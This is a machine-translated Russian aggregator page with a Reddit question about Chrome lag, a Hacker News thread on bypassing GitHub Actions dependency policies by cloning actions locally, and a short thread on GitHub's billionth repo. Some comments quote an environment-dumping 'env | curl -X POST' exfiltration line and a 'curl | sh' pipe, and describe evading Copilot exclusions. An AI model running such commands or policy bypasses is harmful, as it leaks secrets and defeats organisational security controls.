Chrome ОЧЕНЬ МЕДЛЕННЫЙ в последнее время? : chrome =reddit.com/r/chrome=

Chrome ОЧЕНЬ МЕДЛЕННЫЙ в последнее время? Обсуждение ( self.chrome )

отправлено 19 часов назад пользователем rednuhttt

У кого-нибудь еще Chrome барахлит? Мой сегодня начал вести себя странно, в том смысле, что когда я открываю его и пользуюсь им в течение нескольких минут, он работает нормально и отлично. Примерно через 5-10 минут он начинает глючить. Когда я открываю новые вкладки, я вижу, что он заметно медленнее. Затем он становится настолько плохим, что если я пытаюсь переместить само окно, нажимая на верхнюю часть, все на обоих мониторах становится некликабельным, ПОКА я не нажимаю alt tab. Мне приходится закрывать и снова открывать Chrome, чтобы он снова стал нормальным. Диспетчер задач не показывает ничего необычного, и мой Chrome не находится в режиме эффективности. Я пробовал очистить историю просмотров, очистить кэш/cookies, отключить и снова включить аппаратное ускорение, удалить AdBlock Plus, но ничего не работает.

Это происходит ТОЛЬКО с Chrome. Я сегодня играл в видеоигры несколько часов без каких-либо проблем, но как только я открываю Chrome, он начинает глючить через 10 минут использования.

Это происходит с кем-то еще или я один такой?

Источник

Обход политик GitHub Actions самым глупым способом=news.ycombinator.com=

Обход политик GitHub Actions самым глупым способом ( yossarian.net )

kj4ips 7 часов назад | [–]
Это яркий пример того, что «если вы создадите непригодную для использования безопасную систему, пользователи превратят ее в небезопасную и пригодную для использования».

Если кто-то активно нарушает такой контроль, это, вероятно, означает, что контроль превратился из ограждения в бревно поперек путей.

Что-то в том же духе, что и AppLocker и т. д. Почти все говорят, что его следует использовать, но почти никто этого не делает, потому что требуется приложить огромные усилия, чтобы просто понять, что такое «приемлемое программное обеспечение» во всей вашей организации.

валлийскийваллийский 1 час назад | | [–]
Никто за пределами сферы ИТ-безопасности не считает использование AppLocker разумной идеей.

Компании не имеют права указывать своим сотрудникам, какие конкретные программы они могут или не могут использовать для выполнения своей работы. Это абсурдный уровень микроменеджмента.

neilv 1 час назад | | | [–]
> Компании не имеют права указывать своим сотрудникам, какие конкретные программы они могут и не могут использовать для выполнения своей работы. Это абсурдный уровень микроменеджмента.

Обычно я выступаю за расширение прав и возможностей работников, но считаю, что иногда компании действительно имеют право заявлять об этом.

Одна из причин заключается в том, что большая часть индустрии программного обеспечения превратилась в безумный рай вторжений в личную жизнь (ИС), а также в грубую халатность в вопросах безопасности.

Другая причина заключается в том, что компания может быть привлечена к ответственности за условия лицензии на программное обеспечение.

Другая причина заключается в том, что компания может быть привлечена к ответственности за незаконное поведение программного обеспечения (например, если программное обеспечение нарушает какие-либо права интеллектуальной собственности другой стороны).

Каждая часть программного обеспечения может подвергнуть компанию этим рискам. И, возможно, непропорционально, если программное обеспечение внедряется сотрудником, который «сделает это!», а не тем, кто считает проверку на наличие рисков частью своей работы.

lelandbatey 1 час назад | | | [–]
Разработчики будут писать код, который будет делать что-то для них, например, небольшие служебные программы для автоматизации работы. Каждая пользовательская программа — это потенциально совершенно новый двоичный файл, никогда ранее не отправленный программным обеспечением аудита безопасности. Должна ли очищаться каждая программа, написанная каждым разработчиком? Лучше ли в такой системе очистить интерпретатор, чтобы я мог использовать его для запуска любых нужных мне скриптов?
xmprt 59 минут назад | | | [–]
Это аргумент-чучело. Если разработчик пишет код, который делает что-то вредоносное, то это на разработчике. Если они устанавливают программу, то ответственность немного размыта. Частично это на разработчике, частично на безопасности (за то, что позволили непривилегированному пользователю делать вредоносные/опасные вещи, даже не зная об этом), и частично на ИТ (за то, что позволили несанкционированной программе работать без какой-либо проверки).
bigfatkitten 17 минут назад | | | | [–]
Любой, на кого Oracle подала в суд за неуплату лицензий на Java SE Runtime, считает, что это выдающаяся идея.

https://itwire.com/guest-articles/guest-opinion/is-an-oracle…

Специалисты по безопасности являются большими поклонниками белых списков приложений, и на то есть причина: ваши проблемы с вредоносным ПО практически исчезают, если вредоносное ПО изначально не может быть запущено.

Например, Управление радиотехнической разведки Австралии рекомендовало (а в последнее время и сделало обязательным) внесение приложений в белый список в правительственных системах на протяжении последних 15 лет, поскольку это предотвратило бы большинство расследованных ими вторжений.

https://nsarchive.gwu.edu/sites/default/files/documents/5014…

nradov 59 минут назад | | | | [–]
Такой уровень микроменеджмента может быть вполне разумным в зависимости от роли сотрудника. Он не нужен разработчикам, которые занимаются разработкой общего программного обеспечения без каких-либо конфиденциальных данных. Но если сотрудник, скажем, медсестра, просматривающая медицинские карты в страховой компании, то ему совершенно нет необходимости использовать что-либо, кроме определенных одобренных программ. Разрешение использовать случайное программное обеспечение значительно увеличивает потенциальную поверхность атаки и в худшем случае может привести к чему-то вроде проникновения вредоносного ПО и/или нарушению конфиденциальности HIPAA.
solumos 7 часов назад | | | [–]
Подразумеваемое исправление «непригодной для использования безопасной системы» — это передача действия оформления заказа в вашу организацию и ссылка на него там.
перерыв 7 часов назад | | | [–]
Но это ведь не исправление, не так ли? Инструменты Git уже запущены. Вы можете извлекать код из публичных репозиториев с помощью cli, и вы можете жестко закодировать токен в рабочем процессе, если хотите получить доступ к частному репозиторию (предполагая, что у злонамеренного внутреннего пользователя нет прав администратора для добавления секрета).
monster_truck 7 часов назад | | [–]
Точно такие же мысли возникали у меня, когда я настраивал ряд рабочих процессов и скриптов, чтобы обойти многочисленные неоправданные и давние ограничения на то, что и когда разрешено делать.

Это гнетущее чувство, когда ищешь, как что-то сделать, а все главные результаты — это выпуски, которые были открыты более десяти лет назад…

Особенно мучительно пытаться использовать github, чтобы сделать что-то полезное, после того, как меня испортила работа исключительно с локально размещенного экземпляра gitlab. Я отказался от попыток заставить все правильно кэшироваться после нескольких попыток следовать их документации, не то чтобы я за это платил.

Также был очень удивлен, увидев, что рекомендуемая/предлагаемая конфигурация по умолчанию, которая запускает CodeQL, сожгла более 2600 минут действий всего за день неинтенсивного использования, почти вдвое превысив общее количество, которое у меня было за недели постоянного интенсивного использования. Кто за это платит??

saghm 2 часа назад | | [–]
На его выполнение ушло 1,8 дня времени за один день? Мне меньше интересно, кто за это платит, чем кто _использует _ его в вашем репозитории, потому что я даже не могу себе представить, чтобы в среднем почти два человека сканировали кодовую базу каждую минуту дня.
heelix 43 минуты назад | | | [–]
Не OP, а плохо работающий репозиторий может включиться и гореть по шесть часов на каждом PR, а не несколько минут, которые можно было бы ожидать. Это случается, но обычно такие вещи следует замечать и исправлять. Чаще всего что-то пытается вытащить артефакты и тайм-аут, а не является гигантским монорепозиторием.
Уже__Снято 2 часа назад | | | [–]
Я сбит с толку, что нельзя клонировать внутренние/частные репозитории ничем, кроме PAT разработчика. У них есть пользовательский интерфейс для совместного доступа к рабочим процессам, пусть клонирование использует его…
throwaway52176 2 часа назад | | | [–]
Я использую для этого приложения GitHub, это громоздко, но работает.
OptionOfT 3 часа назад | | [–]
Мы создали ответвление действий в виде подмодуля, а затем указали использование этого каталога.

Таким образом, мы продолжали отслеживать отдельные коммиты, которые мы одобрили как команда.

Теперь возникает интересная дихотомия. С одной стороны, PM хотят, чтобы мы использовали GitHub Actions для более быстрой разработки с использованием готовых блоков, но с другой стороны, у службы безопасности нет возможности или интереса вносить действия в белый список (не говоря уже о том, что белый список ограничен 100 действиями, согласно статье).

Тем не менее, даже маркировка действий GitHub с помощью sha256 не идеальна для действий контейнера, поскольку они могут ссылаться на тег, а содержимое этого тега может быть изменено: https://docs.github.com/en/actions/sharing-automations/creat…

Например, я публикую действие с кодом вроде

запуски: using: 'docker' image: 'docker://optionoft/actions-tool:v3.0.0' Вы используете действие и закрепляете его за SHA этого коммита.

Меня взломали, и хакер опубликовал новую версию optionoft/actions-tool:v3.0.0

Вы даже не получите PR-заявку на обновление Dependabot.

opello 2 часа назад | | [–]
Может быть, в будущем появится функция Dependabot, которая будет создавать FYI-проблемы при изменении используемых тегов?
TheTaytay 6 часов назад | | [–]
Честно говоря, я не понимаю риска.

Любой, кто может писать код в репозиторий, уже может делать что угодно в действиях GitHub. Эта мера безопасности никогда не была разработана для смягчения последствий от действий разработчика, делающего что-то вредоносное. Независимо от того, клонируют ли они другое действие в репозиторий или пишут собственные скрипты самостоятельно, я не вижу, как меры GitHub могут защитить от этого.

SamuelAdams 23 минуты назад | | [–]
Риск достаточно прост. GitHub Enterprise позволяет администраторам настраивать список действий, которые можно разрешить или запретить. В идеале эти действия должны быть опубликованы в GitHub Marketplace.

Идея заключается в том, что организация не доверяет этим третьим лицам, поэтому она блокирует их доступ.

Однако это решение обходит эти списки, клонируя действия с открытым исходным кодом непосредственно в бегуне. В этот момент это просто запуск кода, ничем не отличающийся от того, если бы сопровождающие сами написали сложное действие.

woodruffw 6 часов назад | | | [–]
В пост включено смягчение именно этого политического механизма.

(Дело не в непосредственно вредоносных внедрениях: это риск цепочки поставок в виде инженеров, внедряющих действия/повторно используемые рабочие процессы, которые сами по себе являются податливыми/изменяемыми/подверженными риску. Политика, которая заявляет о том, что делает это, должна на самом деле делать это или явно документировать свои ограничения.)

hk1337 2 часа назад | | | [–]
Я не проверял это, но основной возможный риск связан с созданием пользователями PR в публичных репозиториях с действиями, которые запускаются при запросе на извлечение.
x0x0 3 часа назад | | | [–]
Риск тот же, по какой мы не разрешаем ни одному из наших серверов устанавливать исходящие сетевые соединения, за исключением ограниченного списка хостов. Например, внутренние серверы могут взаимодействовать со шлюзом, очередью/базами данных и утвержденным списком доменов для API и ни с чем другим.

Тот же защитник помогает предотвратить несчастные случаи, а не злонамеренность и нарушения безопасности. Если код каким-то образом попадает в наши системы, но мы предотвращаем большинство исходящих соединений, эксфильтрация становится намного сложнее.

Да, люди делают обзор кода, но что-то проскальзывает. Посмотрите, например, как Google переключил одну из своих основных библиотек, которая делала mkdir с оболочкой, на запуск mkdir -p (тада! каждый вызов лучше понимает правила экранирования оболочки). Это прошло обзор кода. Люди несовершенны; сказать вашей сети нет исходящих соединений (за исключением этого небольшого списка) гораздо ближе к идеалу.

hk1337 7 часов назад | | [–]
Вот почему я избегаю использования неофициальных действий, где это возможно, и всегда устанавливаю версию для действия.

У нас был подрядчик, который использовал какое-то случайное действие для ssh-файлов на сервере и ссылался на master как на версию для загрузки. Во-первых, ssh не так уж и сложен для загрузки файлов и запуска команд, но владелец действия мог легко добавить код для сохранения закрытых ключей и информации на другом сервере.

Я немного запутался в “обходе”. Разве злоумышленнику не нужен push-доступ к репозиторию для редактирования файла рабочего процесса? Итак, часть, которая нуждается в усилении, заключается в том, чтобы гарантировать, что не те люди не получат доступ к push-файлам в репозиторий?

В публичных репозиториях я мог бы увидеть проблему, если бы они делали это в разделе рабочего процесса, который запускается при создании PR. В частных репозиториях вам следует быть осторожными с тем, кому вы даете доступ.

гава 4 часа назад | | [–]
> Вот почему я избегаю использования неофициальных действий, где это возможно, и всегда устанавливаю версию для действия.

Это хорошие практики. Я бы добавил, что закрепления версии (тега) недостаточно, как мы узнали из события tj-actions/changed-files. Нам следует закрепить коммит sha.[0]. Github также заявляет об этом в своей официальной документации [1]:

> Закрепить действия в полной длине коммита SHA

> Прикрепляйте действия к тегу только в том случае, если вы доверяете создателю

[0] https://www.stepsecurity.io/blog/harden-runner-detection-tj-…

[1] https://docs.github.com/en/actions/security-for-github-actio…

jand 1 час назад | | | [–]
> Я немного запутался в “обходе”. Разве злоумышленнику не нужен push-доступ к репозиторию для редактирования файла рабочего процесса? Так что часть, которую нужно укрепить, заключается в том, чтобы гарантировать, что не те люди не получат доступ к push-файлам в репозиторий?

Я тоже так понимаю. Но: наличие общекорпоративных политик (относительно действий) может быть неправильно понято/использовано как мера безопасности компании против злонамеренных/небрежных разработчиков.

Таким образом, документирование или выделение поведения помогает ребятам из DevOps избежать ложного чувства безопасности. Не более того.

fkyoureadthedoc 7 часов назад | | [–]
Честно говоря, это не кажется чем-то большим.

Моя главная проблема с политикой и тем, как она реализуется на моей работе, заключается в том, что те, кто устанавливает политику, не являются теми, на кого она влияет, и никогда не консультируются с теми, на кого она влияет. Наша команда по безопасности сообщает нашей команде администраторов GitHub, что мы не можем использовать действия третьих лиц.

Наша команда администраторов GitHub говорит, конечно, звучит хорошо. Им все равно, потому что они не используют действия, и они, по сути, вообще ничего не доставляют. Команда безопасности тоже ничего не доставляет, так что им все равно. В совокупности эти команды добились главного успеха — купили GitHub Enterprise и переместили его туда-сюда между облаком и локальной средой 3 раза за последние 7 лет.

Как разработчик, я читаю действие, которое хочу использовать, и если оно выглядит хорошо, я просто клонирую код и загружаю его в наш собственный org/repo. Я уже выполняю миллион модулей npm в том же контексте, которые делают бог знает что. Если кто-то жалуется, то это те же инструменты статического/динамического анализа, что и остальной код и зависимости.

mook 5 часов назад | | [–]
Похоже, что чтение кода и его разветвление (что предотвращает вредоносные обновления) полностью удовлетворяет цели политики.

У моей компании есть похожий белый список действий, со списком сторонних действий, которые были оценены и отклонены. Многие из отклоненных вещей, похоже, являются своего рода помощниками для выпуска, которые, по сути, содержат общее предложение использовать `gh` CLI уже на бегунах.

bob1029 6 часов назад | | [–]
Мне кажется, что предложение GitHub CI/CD сейчас слишком “все включено”. Как только мы достигнем точки, где инструмент SCM станет надмножеством AWS около 2010 года, нам, вероятно, нужно будет сделать шаг назад и рассмотреть альтернативы.

Более идеальным подходом могло бы стать предоставление простого REST API или веб-хука, который позволит владельцу репозитория интегрировать внешние инструменты, которые лучше подходят для обеспечения проверок статуса.

Я бы предпочел написать CI/CD-инструментарий на чем-то вроде python или C#, чем возиться с файлами yaml и странными общими библиотеками действий. Вы можете достичь чего-то приблизительного этого прямо сейчас, но вам придется делать это в какой-то степени с помощью GH Actions.

PR едва ли чувствительны к задержке, поэтому опрос REST API каждые 60 секунд кажется мне приемлемым. По сути, это то, что мы делали с Jenkins, за исключением того, что мы просто опрашивали заголовок репозитория вместо какого-то странного API.

masklinn 2 часа назад | | [–]
> Более идеальным подходом могло бы стать предоставление простого REST API или веб-хука, который позволит владельцу репозитория интегрировать внешние инструменты, которые лучше подходят для обеспечения проверок статуса.

Это… существует уже много лет? https://docs.github.com/en/rest?apiVersion=2022-11-28

Это было единственное, что было доступно до действий github. Это было также единственное, что было доступно, если вы хотели реализовать принцип не ракетостроения до очередей слияния.

Хотя трудно превзойти free, особенно в плане поддержки OSS.

А GHA обеспечивает параллелизм, для которого вам пришлось бы поддерживать оркестратор (или полностью индивидуальное решение), просто создайте несколько заданий или рабочих процессов.

И вам не нужно иметь дело с токенами для отправки статусов. И вы получаете все логи и отзывы в интерфейсе git, вместо того, чтобы снова приносить свои. И вы можете фактически помечать PR как объединенные, когда вы их перебазируете или склеите (запрос на функцию, который сейчас в средней школе: https://github.com/isaacs/github/issues/2 )

> PR практически не чувствительны к задержкам, поэтому опрос REST API каждые 60 секунд кажется мне приемлемым.

Нет ничего для опроса: https://docs.github.com/en/webhooks/types-of-webhooks

корм 6 часов назад | | | [–]
GitHub имеет как вебхуки, так и обширный API. То, что вы описываете, вполне осуществимо, насколько я знаю, для этого не требуется GitHub Actions.

Большинство людей выбирают его из-за удобства. Существует баланс, который вы можете найти между всеми yaml и общими действиями, а также запуском собственных скриптов.

sureglymop 53 минуты назад | | | [–]
Я вообще не понимаю популярности GitHub… У вас есть git как совместимый “протокол” управления версиями, а затем вы добавляете сюда фирменные функции выпуска, PR, CI и управления проектами, которые нельзя взять с собой при миграции? На этом этапе какой вообще смысл в том, чтобы все это было построено на git? Кроме того, несмотря на все, что есть хорошего в git, я не думаю, что это лучшая система управления версиями, которая у нас могла бы быть. Хотелось бы, чтобы мы серьезно переизобрели колесо.
clysm 7 часов назад | | [–]
Я не вижу здесь проблемы безопасности. Произвольное выполнение кода приводит к произвольному выполнению кода?

Похоже, что невозможно обеспечить соблюдение общей политики в отношении того, что может быть выполнено, поэтому единственным выходом является ограничение секретного доступа.

Есть ли демонстрация возможности доступа/украсть какие-либо секреты?

mystifyingpoi 4 часа назад | | [–]
> Кажется, что политику невозможно реализовать

Автор имеет в виду именно это: «неэффективные механизмы политики хуже, чем отсутствие механизмов политики, потому что они обеспечивают все ощущение безопасности посредством соблюдения, фактически стимулируя злонамеренные формы соблюдения».

И я полностью согласен. Этого так много. «Да, мы соблюдаем все требования по надежным паролям, строго говоря, есть один надежный пароль для каждого отдельного пользователя-администратора для всех сервисов, которые мы используем, но его нет в контрольном списке, верно?»

dijksterhuis 5 часов назад | | | [–]
Это не столько «используйте это, чтобы сделать что-то неприятное кучке ничего не подозревающих жертв», сколько «люди могут обойти ваши политики, когда вам на самом деле нужны политики, ограничивающие ваших пользователей».

1. Центральный ИТ-отдел BigEnterpriseOrg отметьте флажками поля, чтобы отключить внешние действия, поскольку соответствие требованиям требует не использовать внешние действия [0]

2. BigBrainedDeveloper хочет использовать ExternalAction, поэтому использует метод, описанный в посте, потому что у него большой мозг.

3. BigEnterpriseOrg больше не соответствует и, что еще важнее, центральный ИТ-отдел не имеет ни малейшего представления об этом, не проводя постоянную проверку всех рабочих процессов непрерывной интеграции для каждой поддерживаемой им команды и не подписывая все изменения кода [1]

Вот почему чья-то точка зрения “вы должны разветвлять действие в свою организацию” является решением, если отключение локального `uses:` добавлено как опция в флажки – центральный ИТ-отдел будет видеть, что используется и кем, если BigBrainedDeveloper может запросить, чтобы ExternalAction был разветвлен в организацию BigEnterpriseOrg GH. Участие центрального ИТ-отдела теперь заключается только в проверке кодовой базы, ее разветвлении, поддержке обновлений.

ПРИМЕЧАНИЕ: Это не панацея от всех вещей, которые противоречат (загрузка внешних двоичных файлов и т. д.). Но это было бы легкое устранение пробела.

—-

[0]: или что-то в этом роде, я не знаю, есть много причин, по которым корпоративные ИТ-отделы делают вещи, которые расстраивают внутренних разработчиков

[1]: Верный способ разозлить каждого из ваших внутренних разработчиков.

jamesblonde 1 час назад | | [–]
Запустите конвейеры интеграции данных с помощью действий Github –

https://dlthub.com/docs/walkthroughs/deploy-a-pipeline/deplo…

Для многих стартапов это самый простой способ заставить людей бесплатно опробовать ваше программное обеспечение.

перерыв 8 часов назад | | [–]
То, что политику можно «обойти» путем изменения кода, не кажется таким уж серьезным. Если вы не просматриваете изменения в рабочих процессах CI/CD, вся надежда потеряна. Ваш код может быть украден, секреты украдены и т. д.
woodruffw 8 часов назад | | [–]
Суть поста в том, что обзор на практике бывает разным: если вы крупная организация, вам следует просматривать сам код на предмет изменений, но я подозреваю, что многие организации не отслеживают каждое действие (и каждую версию каждого действия), введенное в изменения CI/CD. Вот для чего полезны политики, и почему обходы потенциально опасны.

Или вот интуитивно понятная формулировка: если вы понимаете ценность политик защиты ветвей и передачи секретных данных для помощи вашим младшим инженерам, то же самое относится и к вашим политикам CI/CD.

перерыв 7 часов назад | | | [–]
Проблема не связана с отслеживанием каждого действия или версии в изменениях CI/CD. Прямо сейчас вы можете просто закрутить двоичный файл и запустить его. Чем это отличается от эксплойта здесь? Я полагаю, что у людей могло быть ложное чувство безопасности, если они реализовали эти политики, но я бы предположил, что эти люди на самом деле не понимали свою систему CI/CD, если они думали, что эти политики сами по себе предотвратят выполнение произвольного кода.
woodruffw 6 часов назад | | | [–]
Я думаю, это разница в категории; вытаскивание случайных двоичных файлов из Интернета, очевидно, нехорошо, но эмпирически это в основном делается точечно. Действия же вытаскиваются из “рынка”, подвергаются автоматическим обновлениям через такие вещи, как Dependanbot и Renovate, могут быть молча переписаны благодаря изменчивости тегов и т. д.

Очевидно, что в идеальном мире бегуны были бы герметичны. Но я думаю, что наличие других источников негерметичности не оправдывает плохо реализованную функцию политики со стороны GitHub.

solumos 7 часов назад | | | [–]
«Мы разрешаем только действия, опубликованные нашей организацией, и повторно используемые рабочие процессы»

и

«Мы разрешаем только действия, опубликованные нашей организацией, и повторно используемые рабочие процессы ИЛИ те, которые вручную загружены из внешнего источника»

очень разные политики

перерыв 7 часов назад | | | [–]
Но ведь нет политики, запрещающей внешние загрузки в целом, не так ли? Я могу также закрутить случайный скрипт с вредоносного сайта.
internobody 8 часов назад | | | [–]
Это не просто вопрос обзора; в зависимости от ваших настроек эти обходы могут быть запущены еще до того, как кто-либо увидит изменения, если ваша CI срабатывает при отправке или создании PR.
jadamson 7 часов назад | | | [–]
`pull_request_target` (имеющий доступ к секретам) запускается в контексте целевой ветки, поэтому любой вредоносный рабочий процесс должен быть уже зафиксирован.

На GitHub есть страница по этому поводу:

https://securitylab.github.com/resources/github-actions-prev…

роулинг 7 часов назад | | | | [–]
Но разве нельзя просто написать вредоносные вещи прямо в самом действии?
mystifyingpoi 4 часа назад | | | [–]
Вы определенно могли бы, но это более тонко. Вы действительно не хотите, чтобы вас видели выполняющим `env | curl -X POST http://myserver.cn ` в репозитории компании. Но использование действия с правильным названием не выглядит слишком подозрительным.
0xbadcafebee 1 час назад | | [–]
Вы называете это проблемой безопасности. Я называю это моим единственным выходом, когда чертовы тиранические администраторы GitHub Org блокируют его так жестко, что я не могу выполнять свою работу.

(да, это проблема безопасности (так как она нарушает политику безопасности), но я надеюсь, что она останется неисправленной, потому что это глупая политика)

john-hk 2 часа назад | | [–]
Нет никакого разумного способа обойти это. Запретить их в ключах `uses:`? Ладно, они просто помещают это в скрипт bash и запускают его. И т. д. и т. п. Если это позволяет запускать произвольный код, это всегда будет существовать
throwaway889900 7 часов назад | | [–]
Вы не только можете вручную проверить определенный репозиторий, но если у вас есть подмодули и вы делаете рекурсивную проверку, вы также можете вытащить другие кошмары безопасности из мест, которые вы никогда не ожидали. Это была бы сложная атака, чтобы провернуть, цепочка скомпрометированных рабочих процессов хаха
ghusto 7 часов назад | | [–]
> самый глупый в мире обход политики: вместо того, чтобы использовать uses: actions/checkout@v4, пользователь может клонировать (или иным образом извлечь) репозиторий actions/checkout в файловую систему исполнителя, а затем использовать uses: ./path/to/checkout для запуска того же самого действия

Боже мой.

Это все равно, что сказать: «Вместо того, чтобы выполнять `apt-get install <ПАКЕТ>`, можно обойти политики apt, загрузив пакет и запустив `dpkg -i <ПАКЕТ>`.

woodruffw 7 часов назад | | [–]
Я думаю, что существенное отличие заключается в том, что политики apt применяются к apt, и GitHub прилагает все усилия, чтобы документировать политики действий GitHub, применяемые к предложениям `uses:` в целом.

(Но также: в структурном смысле, если система имеет «подходящие» политики, которые предназначены для предотвращения появления зависимости, то такая система должна предотвращать такой обход. Это не означает, что обход — вопрос жизни и смерти, но это вопрос гигиены и предотвращения неправильного использования.)

гава 4 часа назад | | | [–]
> который GitHub использует для документирования политик GitHub Actions, применяемых к предложениям `uses:`

Если бы это было сформулировано так, то вы были бы правы. Документация дала бы ложное чувство безопасности, была бы вводящей в заблуждение. Поэтому я пошел проверить, но не нашел такого утверждения в связанных документах (пожалуйста, дайте мне знать, если я его пропустил) [0]

Поэтому я согласен с комментатором выше (и Github), что «редактирование действия github для добавления шагов по загрузке скрипта и его запуску» не является фундаментальным недостатком этой системы, разработанной именно для этого — для запуска команд в соответствии с указаниями пользователя.

В целом мы всегда должны спрашивать себя: какова здесь модель угрозы? Если кто угодно может редактировать Github Action, то мы можем заставить его делать много вещей, и этот переключатель фильтра “Github Action Policy” – последнее, о чем мы беспокоимся. Единственный способ сделать конвейер CI/CD безопасным (тем более, что часть CD обычно имеет доступ к внешнему миру) – это запретить людям редактировать и запускать в нем все, что они хотят. Это означает запретить пользователям доступ к самому репозиторию в случае Github Actions.

[0] https://blog.yossarian.net/2025/06/11/github-actions-policie…

woodruffw 4 часа назад | | | [–]
Это отсюда[1].

Я полагаю, что здесь есть место для интерпретации, но я думаю, что интуитивное сканирование “Разрешить запускать выбранные действия и повторно используемые рабочие процессы” показывает, что контрапозитив (“не разрешенные действия и повторно используемые рабочие процессы не будут запускаться”) также имеет место. Трюк в посте нарушает этот контрапозитив.

Я думаю, что люди действительно зацикливаются на части выполнения кода, что на самом деле не так уж важно. Дело в том, что политика должна быть всеобъемлющей, чтобы иметь предполагаемый эффект, который в случае GitHub Actions, по-видимому, заключается в том, чтобы позволить крупным организациям/компаниям инвентаризировать свои зависимости CI/CD и принимать глобально согласованные, проверяемые решения по ним.

Или, другими словами: суть здесь та же, что и у компаний, которые используют свои собственные частные индексы NPM, PyPI и т. д. — суть не в том, чтобы помешать младшим инженерам вставлять некачественные зависимости, а в том, чтобы знать , когда они это делают, чтобы исправление стало вопросом политики, а не «найти везде, где мы зависим от этого компонента». Обход этой политики означает, что происходит худшее из обоих миров: у вас есть некачественная зависимость , а политическое видение мира не верит, что это так.

[1]: https://docs.github.com/en/repositories/managing-your-reposi…

qbane 7 часов назад | | | [–]
Кроме того, вы можете раскрыть любые секреты, подключившись к внешним сервисам через Интернет и просто отправив им секреты.
mystifyingpoi 5 часов назад | | | [–]
Вы также можете вывести их на консоль в четверном коде base64 в обратном порядке, фокус в том, чтобы это сошло с рук.
formerly_proven 6 часов назад | | | | [–]
Во многих корпоративных системах непрерывной интеграции это невозможно, поскольку они часто имеют герметичные среды сборки.
msgodel 5 часов назад | | | [–]
Ничто так не заставляет меня хотеть отказаться от программного обеспечения, как корпоративные системы непрерывной интеграции.
qbane 5 часов назад | | | | [–]
Я думаю, что GitHub прав, что сам по себе обход не является уязвимостью, но, как и небольшая подсказка на кнопке GitHub «Создать секретный gist», GitHub мог бы лучше прояснить ситуацию в разделе «Разрешения на действия».
solatic 3 часа назад | | [–]
Если ваши специалисты по безопасности пытаются возвести стену вокруг предприятия (не допустить использования того, что намеренно не было отражено), но при этом отсутствуют средства сетевого контроля — нет брандмауэров на основе IP-адресов, нет брандмауэров DNS, нет брандмауэров уровня 7 (вроде AWS VPC Endpoint Policy или GCP VPC Service Controls), регулирующих доступ к хранилищу объектов и т. п…. Честно говоря, реализация либо незрелая, либо некомпетентная.

Если вы работаете в организации с ограничительной политикой, но не с ограничительным сетевым контролем, любой на работе может поднять VPS за 5 долларов и сломать сетевой контроль. Или Raspberry Pi дома и DynDNS. Или миллион других.

Не будьте глупцами и не думайте, что наличие единственного элемента управления безопасностью означает, что вам не нужно организовывать глубокую оборону.

chelmzy 6 часов назад | | [–]
Кто-нибудь знает, как запросить, какие действия были импортированы из Actions Marketplace (или откуда-либо еще) в Github Enterprise? Я лениво изучал это некоторое время и не могу найти прямого ответа.
zingababba 1 час назад | | [–]
Исключения репозитория Copilot — еще один забавный элемент управления от GitHub. Он получает контекст локального репозитория из URL-адреса удаленного источника .git/config. Просто закомментируйте это, и вы сможете использовать copilot в «исключенном» репозитории. Удалите комментарий, чтобы отправить свои изменения. Очень похожий на бумажный элемент управления.
лмм 7 часов назад | | [–]
Мда. Выполнение произвольного кода позволяет вам выполнять произвольный код. Если вы curl | sh что-то в вашем скрипте действия github, то это тоже «обойдет политику».
MadVikingGod 7 часов назад | | [еще 6]
[отмечено]
woodruffw 7 часов назад | | [–]
Действие, о котором идет речь, не находится в репозитории; оно извлекается во время выполнения бегуна. Я думаю, что это важное различие.
ликстра 6 часов назад | | | [–]
Это как положить

curl -sSL https://example.com/install.sh | sh

В ваших действиях. Конечно, случается.

woodruffw 6 часов назад | | | [–]
Да; я бы тоже посчитал это плохой идеей. Два зла не делают одного добра (и другое зло не оправдывает нарушенную политику в другом месте).
masklinn 2 часа назад | | | [–]
Возможность фильтровать или отключать сетевой доступ (помимо того, что GitHub требует со своей стороны для взаимодействия с действиями) определенно была бы полезна, но насколько мне известно, это опция только для самостоятельных исполнителей и корпоративных учетных записей.
woodruffw 2 часа назад | | | [–]
Да, я полностью согласен. Жаль, что самостоятельно размещенных бегунов так трудно обезопасить, поскольку контролируемый вход/выход в противном случае является чрезвычайно сильной мотивацией для их использования.
nyc1983 4 часа назад | | [еще 6]
[отмечено]
woodruffw 4 часа назад | | [–]
Из множества вещей, в которых меня обвиняют, новым является неосведомленность о передовых практиках GitHub Actions.

(CODEOWNERS — это отвлекающий маневр: GitHub явно намерен использовать этот механизм политики, и поэтому он должен быть надежным. Механизмы политики всегда должны быть надежными, даже если есть лучший или более общий альтернативный механизм. Если GitHub намерен сделать CODEOWNERS таким механизмом, то они должны удалить этот механизм и задокументировать его замену.)

nyc1983 4 часа назад | | | [–]
Честно говоря, я думаю, что ваша статья фокусируется на устаревшей или неактуальной настройке в GitHub. Так что ложный след, вероятно, здесь обратный. Их куча (не заставляйте меня начинать о темах и управлении ими для многих репозиториев), но GitHub явно продвигал наборы правил в течение последних лет, и в сочетании с CODEOWNERS это фактический способ детализации управления тем, кто может вносить изменения в рабочие процессы GA.
woodruffw 3 часа назад | | | [–]
В отличие от других вещей, которые были перемещены в наборы правил, на этих политиках нет заметного маркера, указывающего на то, что они устарели или больше не считаются лучшей практикой. Есть ли у вас какое-либо публичное указание на то, что они каким-либо образом не приветствуются?

(Как уже отмечалось, это не обязательно имеет смысл в случае с CODEOWNERS — смысл политики зависимости заключается в том, чтобы вообще не доверять человеческим личностям.)

YetAnotherNick 4 часа назад | | | [–]
CODEOWNERS только для основной ветки AFAIK. Вы можете запустить действие github в коммитах.
nyc1983 4 часа назад | | | [–]
CODEOWNERS в сочетании с правилами защиты ветвей могут потребовать проверки произвольных ветвей, соответствующих шаблону glob.
gchamonlive 1 час назад | [–]
Я склонен добавить https://github.com/marketplace/actions/sync-to-gitlab во все мои репозитории на GitHub, чтобы иметь возможность воспользоваться социальной ценностью сообщества GitHub и технической ценностью всего остального GitLab.


Source: news.ycombinator.com

Поздравляем с созданием миллиардного репозитория на GitHub=news.ycombinator.com=

Поздравляем с созданием миллиардного репозитория на GitHub ( github.com/aasishpokhrel )

umanwizard 5 минут назад | [–]
Если серьезно, я немного удивлен, что GitHub делает вычисление скорости создания новых репозиториев тривиальной задачей. Разве такого рода информация обычно не является корпоративной тайной?
Cyphase 14 минут назад | | [–]
Мне интересно, создал ли AasishPokhrel этот репозиторий с целью стать миллиардным.
paxys 0 минут назад | | [–]
Обмануть это довольно легко. Просто продолжайте создавать репозитории и удалять их. Их API делает это тривиальным. Единственной проблемой будут ограничения по скорости, так что это вопрос удачи.
joshdavham 7 минут назад | | | [–]
